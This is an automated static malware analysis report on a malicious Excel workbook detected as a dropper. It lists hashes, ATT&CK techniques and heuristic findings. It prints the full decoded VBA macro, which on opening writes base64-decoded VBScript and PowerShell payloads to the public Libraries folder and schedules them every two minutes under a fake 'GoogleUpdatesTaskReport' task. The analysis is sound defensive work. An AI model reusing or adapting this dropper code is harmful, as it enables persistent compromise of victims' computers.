Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eab4489c2b2a8dcb…

MALICIOUS

Office (OLE)

43.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2019-12-09
MD5: 262bc259682cb48ce66a80dcc9a5d587 SHA-1: fb399fb968be1c5bd4a460ff09fe2a76d3b44399 SHA-256: eab4489c2b2a8dcb0f2b4d6cf49876ea1a31b37ce06ab6672b27008fd43ad1ca
448 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1053.005 Scheduled Task/Job: Scheduled Task

The Excel file contains a Workbook_Open macro that executes obfuscated PowerShell and VBScript code. This script decodes and writes two files, 'komisova.vbs' and 'komisova.ps1', to the user's public libraries directory. It also creates a scheduled task named 'GoogleUpdatesTaskReport' to execute the VBScript payload every two minutes. The script's primary function appears to be downloading and executing additional malicious content, as indicated by the use of PowerShell and WScript.Shell for execution and file manipulation.

Heuristics 10

  • ClamAV: Xls.Dropper.Agent-6465255-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-6465255-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set komisova_ps = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26)
        Set wss = CreateObject("WScript.Shell")
        Set fso = CreateObject("Scripting.FileSystemObject")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        pth = wss.ExpandEnvironmentStrings("%PUBLIC%")
        cmd = "powershell ""&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_vb & "')); Set-Content '" & pth & "\Libraries\komisova.vbs" & "' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_ps & "')); Set-Content '" & pth & "\Libraries\komisova.ps1" & "' $f;(Get-Content $env:Public\Libraries\komisova.vbs) -replace '__',(Get-Random) | Set-Content $env:Public\Libraries\komisova.vbs}"""
        cmd2 = "schtasks /create /F /sc minute /mo 2 /tn " & Chr(34) & "GoogleUpdatesTaskReport" & Chr(34) & " /tr " & pth & "\Libraries\komisova.vbs"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set komisova_ps = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26)
        Set wss = CreateObject("WScript.Shell")
        Set fso = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub WorkBook_Open()
        Call komisova_tr2
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2954 bytes
SHA-256: 391cc760ce786e5c2c66646657a59a1729a3f0b2d71efd5facb864d0f2591b3b
Detection
ClamAV: Vbs.Trojan.Oilrig-6332898-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub WorkBook_Open()
    Call komisova_tr2
    Call komisova_s2
End Sub

Sub komisova_s2()
    If ActiveWorkbook.Worksheets(1).Visible Then
        Dim WS_Count As Integer
        Dim I As Integer
        WS_Count = ActiveWorkbook.Worksheets.Count
        For I = 1 To WS_Count
            ActiveWorkbook.Worksheets(I).Visible = True
        Next I
        ActiveWorkbook.Worksheets(1).Visible = False
        ActiveWorkbook.Worksheets(2).Activate
    End If
End Sub

Sub komisova_tr2()
    Set komisova_vb = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 25)
    Set komisova_ps = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26)
    Set wss = CreateObject("WScript.Shell")
    Set fso = CreateObject("Scripting.FileSystemObject")
    pth = wss.ExpandEnvironmentStrings("%PUBLIC%")
    cmd = "powershell ""&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_vb & "')); Set-Content '" & pth & "\Libraries\komisova.vbs" & "' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & komisova_ps & "')); Set-Content '" & pth & "\Libraries\komisova.ps1" & "' $f;(Get-Content $env:Public\Libraries\komisova.vbs) -replace '__',(Get-Random) | Set-Content $env:Public\Libraries\komisova.vbs}"""
    cmd2 = "schtasks /create /F /sc minute /mo 2 /tn " & Chr(34) & "GoogleUpdatesTaskReport" & Chr(34) & " /tr " & pth & "\Libraries\komisova.vbs"
    If Not (fso.FileExists(pth & "\Libraries\komisova.vbs")) Then
        If Not (fso.FolderExists(pth & "\Libraries\up")) Then
            fso.CreateFolder (pth & "\Libraries\up")
        End If
        If Not (fso.FolderExists(pth & "\Libraries\dn")) Then
            fso.CreateFolder (pth & "\Libraries\dn")
        End If
        If Not (fso.FolderExists(pth & "\Libraries\tp")) Then
            fso.CreateFolder (pth & "\Libraries\tp")
        End If
        wss.Run cmd, 0
        wss.Run cmd2, 0
        Set wss = Nothing
        Set fso = Nothing
    End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True